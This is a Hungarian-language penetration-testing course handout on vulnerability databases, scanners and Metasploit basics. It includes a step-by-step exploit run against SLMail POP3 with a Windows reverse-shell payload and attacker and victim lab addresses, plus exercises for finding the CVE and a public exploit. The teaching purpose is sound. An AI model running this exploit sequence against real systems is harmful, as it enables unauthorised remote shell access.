'. Sérülékenység-vizsgálati módszerek, sérülékenység szkennerek és entesztelés, sérülékenység-adatbázisok, earchsploit, Metasploit alapok

artalom

. Fogalmak

a. Sérülékenység (vulnerability),
b. Exploit: egy adott sérülékenységet kihasználó kód,
c. Zero-day: a nap, amikor a szoftver fejlesztője értesül a szoftvere sérülékenységéről.
d. Zero-day exploit: exploit, ami a szoftver fejlesztője előtt ismeretlen sérülékenységet használ (még el sem kezdték készíteni a patch-et).
e. CVE ID (common vulnerabilities and exposures identification): a sérülékenység azonosítója. (pl. CVE-2017-3849, CVE-2003-0264).
f. Payload: egy rövid kódszakasz a támadó bemeneti adatban, ami a sikeres "process hijacking" után egyből lefut. Egyik fajtája a shellcode, de vannak, akik minden payload-ot shellcode-nak hívnak.

. Sérülékenység-adatbázisok

- https://www.cvedetails.com/
- https://cve.mitre.org/ (Search CVE List, Download CVE)
- https://www.securityfocus.com/ (Search all vulnerabilities)
- https://technet.microsoft.com/en-us/security/bulletins.aspx
- https://www.exploit-db.com/

. Eszközök

- Nmap scripting engine (NSE)
- OpenVAS (openvas.org)
- Web app. scanner: Nikto (cirt.net)
- Egyéb: Nessus (tenable.com), Nexpose (rapid7.com), Core Impact Professional (coresecurity.com), GFI LanGuard (gfi.com)

. Metasploit Framework

https://www.metasploit.com/

Metasploit Framework: free and open source, Metasploit Pro: open-core commercial.

- Használati felületek: msfconsole (interaktív CLI), msfcli (CLI), armitage (GUI), msfweb, msfgui,
- Olvasnivaló: https://www.offensive-security.com/metasploit-unleashed/

4.1. Használata

modul fajta	megjegyzés
auxiliary	scanning, enumeration, Nem használ másik, payload fajtájú modult.
exploits	A támadás módja. Használ egy másik, payload fajtájú modult.
encoders	Az exploit kódolása, hogy ne legyen benne tiltott karakter (következő hét), és ne ismerje fel a vírusirtó.
payloads	A sikeres exploit futás után mi történjen.
nops	NO operation. A helyek kitöltésére.
post	A sikeres támadás után mi történjen.

4.1.1 Általános parancsok

a. Indítása

```
systemctl start postgresql
```

```
msfconsole
```

b. Kilépés

```
exit
```

c. Segítség egy parancs használatához (pl. search)

```
msf > help search
Usage: search [keywords]
...
```

d. Minden modul (több ezer) felsorolása

```
show all
```

e. Az exploit modulok felsorolása

```
show exploits
```

f. Modulok keresése

```
msf > search type:exploit pop3
Matching Modules
================
   Name                                              Disclos
   ----                                              -------
   exploit/linux/pop3/cyrus_pop3d_popsubfolders  2006-05
...
```

g. Az operációs rendszer parancsainak végrehajtása (tetszőleges kiválasztott modulnál működik):

```
msf auxiliary(snmp_enum) > ping -c 1 192.168.56.101
[*] exec: ping -c 1 192.168.56.101

PING 192.168.56.101 (192.168.56.101) 56(84) bytes of dat
...
```

1. modul kiválasztása (aktiválása)

```
msf > use auxiliary/scanner/snmp/snmp_enum
msf auxiliary(snmp_enum) >
```

2. modul kiválasztásának visszavonása

```
msf auxiliary(snmp_enum) > back
msf >
```

3. Minden module-nak van egy info kimenete

```
msf auxiliary(snmp_enum) > info

       Name: SNMP Enumeration Module
     Module: auxiliary/scanner/snmp/snmp_enum
    License: Metasploit Framework License (BSD)
       Rank: Normal
...
```

4. A modul futtatásához szükséges paraméterek megjelenítése (required oszlop: kötelező paraméter):

```
msf auxiliary(snmp_enum) > show options

Module options (auxiliary/scanner/snmp/snmp_enum):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   COMMUNITY  public           yes       SNMP Community String
...
```

5. Paraméter beállítása

```
msf auxiliary(snmp_enum) > set rhosts 192.168.56.101
rhosts => 192.168.56.101
```

6. Paraméter törlése

```
msf auxiliary(snmp_enum) > unset rhosts
rhosts => 192.168.56.101
```

7. Session-ben globális paraméter beállítása (visszavonás: unsetg)

```
msf auxiliary(smb_version) > setg rhosts 10.20.0.101
rhosts => 10.20.0.101
```

8. A modul futtatása

```
msf auxiliary(smb_version) > run
```

4.1.3 Adatbázis használat

- Az msfconsole-ben az adatbázis státusz lekérdezése

```
db_status
```

- Az adatbázis inicializálása

```
msfdb init
```

- Adatbázishoz kapcsolódás az msfconsole-ban

```
db_connect -y /usr/share/metasploit-framework/config/database.yml
```

- Eddig felfedezett host-ok (bármilyen modulban)

```
msf auxiliary(ftp_login) > hosts
Hosts
=====
address       mac  name  os_name   os_flavor  os_sp
-------       ---  ----  -------   ---------  -----
10.20.0.2                embedded
10.20.0.101              Unknown
```

- db_nmap: MSF wrapper az nmap-hez, adatbázisba dolgozó nmap

```
[*] Nmap: Starting Nmap 7.50 ( https://nmap.org )
[*] Nmap: Nmap scan report for 10.20.0.2
[*] Nmap: Host is up (0.0069s latency).
[*] Nmap: PORT   STATE SERVICE
[*] Nmap: 25/tcp open  smtp
...
```

- Nyitott portok lekérdezése adatbázisból

```
msf > services -p 110
Services
========
host          port  proto  name  state  info
----          ----  -----  ----  -----  ----
10.20.0.2     25    tcp    smtp  open
10.20.0.101   25    tcp    smtp  open
```

- Paraméter értékének adatbázisból történő adása

```
msf auxiliary(anonymous) > services -p 25 --rhosts
Services
========
host          port  proto  name  state  info
----          ----  -----  ----  -----  ----
10.20.0.2     25    tcp    smtp  open
10.20.0.101   25    tcp    smtp  open
RHOSTS => 10.20.0.2 10.20.0.101
```

4.1.4 Exploit modul használata

1. Egy exploit fajtájú modul kiválasztása

```
use exploit/windows/pop3/seattlelab_pass
```

2. Paraméterek áttekintése

```
show options
```

3. Egy payload fajtájú modul kiválasztása (payload paraméter beállítása)

```
set payload windows/shell_reverse_tcp
```

4. Rhost: remote host (áldozat)

```
set rhost 192.168.56.102
```

5. Lhost: local host (támadó)

```
set lhost 192.168.56.101
```

6. Az exploit fajtájú modulok futtatása így:

```
exploit
```

---

5. Feladatok

1. A Metasploit Framework-ben keresd meg az alábbi modulokat, és a leírás valamint utánaolvasás alapján állapítsd meg a köztük levő különbséget:
   - windows/shell_reverse_tcp
   - windows/shell/reverse_tcp
2. Valamelyik sérülékenység-adatbázisban (Google és egyéb webkereső használata nélkül) keresd meg az SLMail, POP3 jelszó puffertúlcsordulás CVE azonosítóját.
3. Keress az előzőhöz exploit-ot az exploit-db.com-on (itt se használj webkeresőket).